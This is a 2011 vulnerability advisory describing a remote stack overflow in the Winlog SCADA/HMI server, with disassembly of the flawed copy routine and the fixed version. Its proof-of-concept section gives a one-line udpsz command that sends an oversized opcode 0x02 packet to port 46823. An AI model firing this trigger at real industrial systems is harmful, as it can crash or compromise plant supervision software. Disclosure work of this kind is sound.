#######################################################################
 
                             Luigi Auriemma
 
Application:  Sielco Sistemi Winlog
              http://www.sielcosistemi.com/en/products/winlog_scada_hmi/
Versions:     <= 2.07.00
Platforms:    Windows
Bug:          stack overflow
Exploitation: remote
Date:         13 Jan 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org
 
 
#######################################################################
 
 
1) Introduction
2) Bug
3) The Code
4) Fix
 
 
#######################################################################
 
===============
1) Introduction
===============
 
 
From vendor's website:
"Simple, flexible and economical, Winlog Pro is a SCADA/HMI software
package for the supervision of industrial and civil plants."
 
 
#######################################################################
 
======
2) Bug
======
 
 
This SCADA software can act as a TCP/IP server by enabling the specific
"Run TCP/IP server" option available in the
"Configuration->Options->TCP/IP" section of the project we want to run
and Runtime.exe will listen on the TCP port 46823.
 
The opcode 0x02 of the protocol is used for the handling of some
strings received by the client and the calling of one of the
_TCPIP_WriteNumValueFP, _TCPIP_WriteDigValueFP or _TCPIP_WriteStrValueFP
functions depending by the type of data.
 
They use all the same function starting from offset 00446795 for the
parsing of the data and it's vulnerable to a stack overflow while
copying the input data in a temporary buffer of about 60 bytes:
 
  00446795  /$  55            PUSH EBP
  00446796  |.  8BEC          MOV EBP,ESP
  00446798  |.  83C4 C0       ADD ESP,-40
  0044679B  |.  53            PUSH EBX
  0044679C  |.  56            PUSH ESI
  0044679D  |.  57            PUSH EDI
  0044679E  |.  8B45 0C       MOV EAX,DWORD PTR SS:[EBP+C]
  004467A1  |.  8B5D 08       MOV EBX,DWORD PTR SS:[EBP+8]
  004467A4  |.  8BF8          MOV EDI,EAX
  004467A6  |.  33C0          XOR EAX,EAX
  004467A8  |.  56            PUSH ESI
  004467A9  |.  83C9 FF       OR ECX,FFFFFFFF
  004467AC  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]                    ; strlen
  004467AE  |.  F7D1          NOT ECX
  004467B0  |.  2BF9          SUB EDI,ECX
  004467B2  |.  8D75 C0       LEA ESI,DWORD PTR SS:[EBP-40]
  004467B5  |.  87F7          XCHG EDI,ESI
  004467B7  |.  8BD1          MOV EDX,ECX
  004467B9  |.  8BC7          MOV EAX,EDI
  004467BB  |.  C1E9 02       SHR ECX,2
  004467BE  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]  ; memcpy
 
 
#######################################################################
 
===========
3) The Code
===========
 
 
http://aluigi.org/testz/udpsz.zip
http://www.exploit-db.com/sploits/udpsz.zip
 
  udpsz -T -b a -C 020101 SERVER 46823 1000
 
 
#######################################################################
 
======
4) Fix
======
 
 
Version 2.07.01.
 
 
#######################################################################